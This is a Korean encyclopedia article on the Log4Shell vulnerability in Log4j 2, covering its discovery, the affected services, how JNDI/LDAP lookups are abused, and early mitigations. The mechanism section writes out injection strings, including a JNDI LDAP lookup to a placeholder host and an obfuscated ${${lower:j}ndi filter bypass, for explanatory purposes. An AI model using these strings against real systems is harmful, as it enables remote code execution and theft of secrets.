Log4Shell
CVE 식별자 | CVE-2021-44228 |
---|---|
발견일 | 2021년 11월 24일 |
패치일 | 2021년 12월 6일 |
발견자 | 알리바바 클라우드 보안팀의 천자오쥔[1] |
영향을 받는 소프트웨어 | Log4j 2를 사용하여 사용자 입력을 기록하는 애플리케이션 |
Log4Shell 또는 CVE-2021-44228는 저명한 자바 로깅 프레임워크 Log4j의 제로 데이 임의 코드 실행 취약점이다.[2][3] 이 취약점은 알리바바의 클라우드 보안팀에 의해 2021년 11월 24일 아파치에 비공개로 전달되었으며 2021년 12월 9일 대중에게 공개되었다.[1][4][5]
이 취약점은 LDAP과 JNDI 요청을 검사하지 않는 Log4j의 특징을 이용하여,[6][2][7] 공격자가 임의의 자바 코드를 서버 또는 기타 컴퓨터에서 실행할 수 있게 한다.[5] 영향을 받는 서비스에는 아마존 AWS,[8] 클라우드플레어, 아이클라우드, 마인크래프트 자바 에디션,[9] 스팀, 텐센트 QQ가 포함된다.[6][10] 루나섹(LunaSec)은 이 취약점을 "파멸적 부분의 설계적 실패"[5]로, Tenable은 "지난 10년 이내의 가장 심각한, 단일로서는 최대의 취약점"으로 특징을 지었다.[11] Log4j 프로젝트를 맡는 아파치 소프트웨어 재단은 Log4Shell에 CVSS 점수 최고점인 10점을 부여하였다.[12]
배경
Log4j는 소프트웨어 개발자가 자신의 애플리케이션 안에 다양한 데이터의 로그 기록을 남길 수 있게 하는 오픈 소스 로깅 프레임워크이다. 이 데이터는 사용자 입력을 포함할 수도 있다.[13] 자바 애플리케이션, 특히 기업용 소프트웨어 전반에 사용된다.[5] 2001년 Ceki Gülcü가 처음 개발한 Log4j는 현재 아파치 소프트웨어 재단 프로젝트의 하나인 아파치 로깅 서비스의 일부이다.[14]
동작
JNDI는 프로그램 런타임 시 지정된 데이터 경로의 자바 오브젝트 검색을 허용한다. JNDI는 여러 디렉터리 인터페이스를 지렛대처럼 활용할 수 있으며 각 인터페이스는 각기 다른 파일 검색 스킴을 제공한다. 이 인터페이스들 중에는 자바로 개발되지 않은 프로토콜의 하나인 LDAP이 있으며[15] 이는 로컬이든 인터넷 어느 곳에서든 적절한 서버로부터 오브젝트 데이터를 URL로 받아온다.[16]
기본 구성에서 문자열 로그를 기록할 때 Log4j 2는 ${prefix:name}
형태의 식에 문자열 치환을 수행한다.[16] 예를 들어, Text: ${java:version}
는 Text: Java version 1.7.0_67
로 변환될 수 있다.[17] 인식되는 식들 중에 ${jndi:<lookup>}
가 있다. LDAP을 통해 lookup을 지정함으로써 임의의 URL을 조회하고 자바 오브젝트 데이터로 로드할 수 있다. 예를 들어 ${jndi:ldap://example.com/file}
는 인터넷에 연결되어 있다면 해당 URL로부터 데이터를 로드하게 된다. 로깅이 되는 문자열을 입력함으로써 공격자는 퍼블릭 URL에서 호스팅되는 악성 코드를 로드하고 실행할 수 있다.[16] 데이터의 실행을 비활성화해 놓았더라도 공격자는 여전히 기밀 환경 변수 등의 데이터를 (URL 배치를 통해) 받아올 수 있으며 여기서 치환을 거쳐 공격자의 서버로 송신할 수 있다.[18][19]
HTTP 요청이 자주 로깅되기 때문에 공통 공격 벡터는 악성 문자열을 HTTP 요청 URL이나 흔히 로깅되는 HTTP 헤더(예: User-Agent
)에 배치시킨다. 초기의 완화 방법에는 "${jndi
" 등의 잠재적으로 악성일 가능성이 높은 콘텐츠를 포함하는 모든 요청을 차단하는 것이 포함되었다.[20] 아무렇지 않게 수행한 검색은 요청을 모호하게 만듦으로써 우회가 가능하다: 예를 들어 ${${lower:j}ndi
는 문자 j에 소문자 처리를 수행한 이후 JNDI 룩업으로 변환된다.[21] 입력이 즉시 로깅되지 않더라도 나중에 내부 처리 중에 로깅한 다음에 콘텐츠의 실행이 가능할 수 있다.[16]
각주
- ↑ 가 나 “Log4Shell Vulnerability is the Coal in our Stocking for 2021”. 《맥아피》 (영어). 2021년 12월 10일. 2021년 12월 12일에 확인함.
- ↑ 가 나 “Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package”. 《www.lunasec.io》 (영어). 2021년 12월 9일. 2021년 12월 12일에 확인함.
- ↑ “CVE - CVE-2021-44228”. 《cve.mitre.org》. 2021년 12월 12일에 확인함.
- ↑ “Worst Apache Log4j RCE Zero day Dropped on Internet”. 《www.cyberkendra.com》. 2021년 12월 9일. 2021년 12월 12일에 확인함.
- ↑ 가 나 다 라 Newman, Lily Hay. “‘The Internet Is on Fire’”. 《Wired》 (미국 영어). ISSN 1059-1028. 2021년 12월 12일에 확인함.
- ↑ 가 나 “Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit”. 《PC Magazine》 (영어). 2021년 12월 12일에 확인함.
- ↑ Goodin, Dan (2021년 12월 10일). “Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet”. 《Ars Technica》 (미국 영어). 2021년 12월 12일에 확인함.
- ↑ “Update for Apache Log4j2 Issue (CVE-2021-44228)”. 《aws.amazon.com》. 2021년 12월 12일. 2021년 12월 13일에 확인함.
- ↑ “Security Vulnerability in Minecraft: Java Edition”. 《모장 스튜디오》. 2021년 12월 13일에 확인함.
- ↑ Goodin, Dan (2021년 12월 10일). “The Internet's biggest players are all affected by critical Log4Shell 0-day”. 《ArsTechnica》. 2021년 12월 13일에 확인함.
- ↑ Press, Associated (2021년 12월 11일). “Recently uncovered software flaw ‘most critical vulnerability of the last decade’”. 《가디언》 (영어). 2021년 12월 12일에 확인함.
- ↑ “Log4j – Apache Log4j Security Vulnerabilities”. 《logging.apache.org》. 2021년 12월 12일에 확인함.
- ↑ Yan, Tao; Deng, Qi; Zhang, Haozhe; Fu, Yu; Grunzweig, Josh (2021년 12월 10일). “Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)”. 《Unit 42》. 팰로앨토 네트웍스.
- ↑ “Log4j – Apache Log4j 2”. 《logging.apache.org》. 2021년 12월 12일에 확인함.
- ↑ Network Working Group (June 2006). “RFC 4511: Lightweight Directory Access Protocol (LDAP)”. International Electronic Task Force. 2021년 12월 13일에 확인함.
- ↑ 가 나 다 라 Graham-Cumming, John (2021년 12월 10일). “Inside the Log4j2 vulnerability (CVE-2021-44228)”. 《The Cloudflare Blog》 (영어). 2021년 12월 13일에 확인함.
- ↑ “Lookups”. 《Apache Logging Services》. Apache Software Foundation. 2021년 12월 6일. 2021년 12월 13일에 확인함.
- ↑ Ducklin, Paul (2021년 12월 12일). “Log4Shell explained – how it works, why you need to know, and how to fix it”. 《Naked Security》. Sophos. 2021년 12월 12일에 확인함.
- ↑ Miessler, Daniel (2021년 12월 13일). “The log4j (Log4Shell) Situation”. 2021년 12월 12일에 확인함.
- ↑ Gabor, Gabriel. “CVE-2021-44228 - Log4j RCE 0-day mitigation”. 《The Cloudflare Blog》. 2021년 12월 13일에 확인함.
- ↑ Hahad, Mounir (2021년 12월 12일). “Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns”. 2021년 12월 12일에 확인함.